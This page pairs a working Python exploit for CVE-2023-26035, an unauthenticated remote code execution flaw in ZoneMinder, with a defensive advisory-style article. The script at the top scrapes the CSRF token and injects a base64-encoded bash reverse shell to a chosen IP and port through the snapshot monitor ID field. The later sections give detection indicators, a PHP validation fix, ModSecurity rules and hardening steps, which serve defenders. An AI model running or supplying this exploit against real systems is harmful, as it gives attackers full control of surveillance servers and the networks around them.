ZoneMinder Snapshots < 1.37.33 - Unauthenticated RCE
import re
import requests
from bs4 import BeautifulSoup
import argparse
import base64
# Exploit Title: Unauthenticated RCE in ZoneMinder Snapshots
# Date: 12 December 2023
# Discovered by : @Unblvr1
# Exploit Author: Ravindu Wickramasinghe (@rvizx9)
# Vendor Homepage: https://zoneminder.com/
# Software Link: https://github.com/ZoneMinder/zoneminder
# Version: prior to 1.36.33 and 1.37.33
# Tested on: Arch Linux, Kali Linux
# CVE : CVE-2023-26035
# Github Link : https://github.com/rvizx/CVE-2023-26035
class ZoneMinderExploit:
def __init__(self, target_uri):
self.target_uri = target_uri
self.csrf_magic = None
def fetch_csrf_token(self):
print("[>] fetching csrt token")
response = requests.get(self.target_uri)
self.csrf_magic = self.get_csrf_magic(response)
if response.status_code == 200 and re.match(r'^key:[a-f0-9]{40},\d+', self.csrf_magic):
print(f"[>] recieved the token: {self.csrf_magic}")
return True
print("[!] unable to fetch or parse token.")
return False
def get_csrf_magic(self, response):
return BeautifulSoup(response.text, 'html.parser').find('input', {'name': '__csrf_magic'}).get('value', None)
def execute_command(self, cmd):
print("[>] sending payload..")
data = {'view': 'snapshot', 'action': 'create', 'monitor_ids[0][Id]': f';{cmd}', '__csrf_magic': self.csrf_magic}
response = requests.post(f"{self.target_uri}/index.php", data=data)
print("[>] payload sent" if response.status_code == 200 else "[!] failed to send payload")
def exploit(self, payload):
if self.fetch_csrf_token():
print(f"[>] executing...")
self.execute_command(payload)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target-url', required=True, help='target url endpoint')
parser.add_argument('-ip', '--local-ip', required=True, help='local ip')
parser.add_argument('-p', '--port', required=True, help='port')
args = parser.parse_args()
# generating the payload
ps1 = f"bash -i >& /dev/tcp/{args.local_ip}/{args.port} 0>&1"
ps2 = base64.b64encode(ps1.encode()).decode()
payload = f"echo {ps2} | base64 -d | /bin/bash"
ZoneMinderExploit(args.target_url).exploit(payload) ZoneMinder Snapshots (< 1.37.33) — Unauthenticated RCE (CVE-2023-26035)
This article explains the unauthenticated remote code execution (RCE) vulnerability affecting ZoneMinder snapshot handling prior to versions 1.36.33 and 1.37.33 (CVE-2023-26035). It covers a high-level technical summary, impact and attack surface, safe detection and logging indicators, mitigation and hardening recommendations, and secure coding guidance to prevent similar flaws.
Executive summary
ZoneMinder implementations before the fixed releases allowed unsanitized input to reach server-side command execution paths in the snapshot feature. An attacker who can reach the web interface could trigger commands on the host operating system without authentication, enabling remote takeover or lateral movement. The vendor published fixes; administrators should upgrade, apply compensating controls, and validate remediation.
Affected versions and references
- Products: ZoneMinder (open-source video surveillance software)
- Versions: prior to 1.36.33 and 1.37.33
- CVE: CVE-2023-26035
- Vendor: https://zoneminder.com/
- Patch/Source: https://github.com/ZoneMinder/zoneminder (see upstream release notes for fixed commits)
Vulnerability — high-level root cause
At a conceptual level, the vulnerability arises where user-controlled HTTP parameters used to create snapshots are concatenated into a shell command or otherwise passed to an execution facility without rigorous validation or escaping. Because the web endpoint exposed snapshot creation and an attacker could retrieve the CSRF token from the public page, the attacker could submit crafted input that causes the server to execute arbitrary OS-level commands.
Impact and risk
- Unauthenticated RCE allows full system control as the web server user — often leading to privilege escalation, persistence, and data exfiltration.
- Network-exposed ZoneMinder instances (public internet or weakly segmented networks) are high risk.
- Automated exploitation is possible once an exploit technique is known; timely patching is important.
Safe detection and indicators of compromise (IoCs)
The following non-actionable detection ideas are intended for defenders to identify exploitation attempts or probe activity. Monitor logs and alerts rather than attempting to reproduce the exploit on production systems.
- Web server access logs: POST requests to /index.php (or the ZoneMinder web root) where parameters include view=snapshot and action=create.
- Unusual values in POST fields such as monitor_ids[*][Id] containing non-numeric characters (e.g., shell meta-characters like ; | & `) or long base64 strings.
- Process accounting / audit logs: unexpected child processes spawned by the web server (bash, nc, python) around the time of snapshot-related POSTs.
- Network logs: outbound TCP connections from the ZoneMinder host to uncommon destinations/ports (reverse shell patterns) originating from the web server process.
- File-system artifacts: newly created scripts, cron entries, or unexpected files in /tmp, /var/tmp, or web directories.
Recommended immediate actions (incident response)
- If production exposure is suspected, isolate the host from networks where possible (network segmentation) while preserving volatile evidence.
- Collect and retain relevant logs: web server access/error logs, ZoneMinder logs, system audit logs (auditd), process accounting, and network flow logs.
- Scan for known indicators described above and for additional suspicious activity (new accounts, scheduled jobs, installed persistence). Follow your IR playbook.
- Apply patches or follow mitigation steps below before returning the host to production.
Mitigation and remediation
Primary remediation is to upgrade ZoneMinder to a fixed release. If you cannot immediately patch, apply the following compensating controls to reduce exposure:
- Upgrade: update ZoneMinder to 1.36.33 / 1.37.33 or newer where the issue is fixed.
- Network controls: restrict access to the ZoneMinder web interface using firewall rules, VPN access, or IP allow-lists. Do not expose the management interface directly to the internet.
- Web Application Firewall (WAF): apply rules to block suspicious characters or unusually formatted monitor_id values, and to limit POSTs to expected numeric-only parameters for snapshot endpoints.
- Least privilege: run the web server and ZoneMinder processes with the minimum privileges required; ensure they cannot write to privileged directories or escalate easily.
- Harden CSRF/session handling: ensure tokens are not arbitrarily retrievable for privileged actions, and tighten session validation and rate-limiting.
Secure coding fixes — defensive examples
The core developer-side fixes eliminate shell concatenation of untrusted input and validate inputs strictly. Below are defensive code patterns that reduce risk; these examples are safe, mitigation-oriented, and do not demonstrate exploit steps.
// Defensive PHP example: validate and sanitize monitor id before use
$raw = $_POST['monitor_ids'][0]['Id'] ?? '';
// Enforce strict integer format — reject anything that is not digits
if (!preg_match('/^\d+$/', $raw)) {
http_response_code(400);
echo 'Invalid monitor identifier';
exit;
}
$monitorId = intval($raw);
// Prefer invoking internal functions or APIs rather than shelling out.
// If an external binary must be executed, use proper escaping and limit arguments.
$escapedId = escapeshellarg((string)$monitorId);
$cmd = '/usr/bin/zm_snapshot --monitor=' . $escapedId;
// Use proc_open or similar to control environment and avoid shell interpolation
$descriptorSpec = [
1 => ['pipe', 'w'],
2 => ['pipe', 'w']
];
$proc = proc_open($cmd, $descriptorSpec, $pipes);
if (is_resource($proc)) {
// read output, close pipes, and check exit code
proc_close($proc);
}
Explanation: This snippet validates that the input is strictly numeric, converts it to an integer, and uses escapeshellarg when constructing a command line. The preferred approach is to avoid spawning shells entirely — call internal APIs or binaries that accept arguments without shell parsing. Using proc_open with controlled descriptors further limits exposure.
Example WAF rule (conceptual)
As a temporary mitigation, a WAF or ModSecurity rule can block requests where fields expected to be numeric contain meta-characters or base64-encoded payloads. Below is a conceptual example — adapt to your environment and test carefully to avoid false positives.
# Conceptual ModSecurity rule: block monitor_ids[*][Id] values containing non-digits
SecRule REQUEST_BODY "monitor_ids\[\d+\]\[Id\]=([^&\s]+)" \
"phase:2,rev:'1',msg:'Block non-numeric monitor id',capture,ctl:ruleEngine=DetectionOnly,id:100001,deny,status:403,log"
SecRule TX:0 "!@rx ^\d+$" "phase:2,rev:'1',msg:'monitor_id contains non-digit characters',id:100002,deny,log"
Explanation: The first rule captures the monitor id parameter; the second enforces that the captured value consists only of digits, denying requests that contain meta-characters. This reduces the risk of command-injection style payloads reaching the application. Test and tailor for request encoding and application behavior.
Hardening checklist for administrators
- Patch ZoneMinder to the latest stable release.
- Restrict web UI access by network-level controls (firewall, VPN, bastion).
- Harden web server process privileges and filesystem permissions.
- Enable host-based monitoring: auditd, process accounting, host IDS.
- Deploy WAF rules that enforce strict validation for numeric parameters.
- Rotate credentials and review user accounts used by ZoneMinder after any suspected compromise.
- Perform a post-remediation review: verify no persistence mechanisms were installed and that system binaries are intact.
Developer guidance — avoid these anti-patterns
- Do not build shell commands by concatenating untrusted input.
- Do not rely solely on client-side or weak token mechanisms for protection — ensure server-side checks validate parameters and context.
- Prefer safe APIs or libraries that accept argument arrays rather than shell strings.
- Log and alert on atypical inputs and execution paths so suspicious activity can be observed early.
Summary
CVE-2023-26035 is a critical reminder that web applications which invoke system commands must treat all external input as hostile. Administrators should upgrade ZoneMinder to patched releases and apply compensating network and application-layer protections immediately. Developers should remove shell concatenation patterns, enforce strict input validation, and prefer internal APIs or safe execution mechanisms to prevent similar vulnerabilities in the future.
| Item | Recommended action |
|---|---|
| Immediate patch | Upgrade to ZoneMinder 1.36.33 / 1.37.33+. |
| Short-term mitigation | Restrict network access to web UI; deploy WAF rules to validate numeric parameters. |
| Developer fix | Sanitize inputs, avoid shell concatenation, use escapeshellarg or param-based exec, prefer APIs. |
| Detection | Monitor /index.php snapshot POSTs, unexpected child processes, and outbound connections from web server. |
References: vendor advisories and the ZoneMinder project repository contain the official patch and commit details. Consult those resources for the exact fixes and upgrade instructions appropriate to your deployment.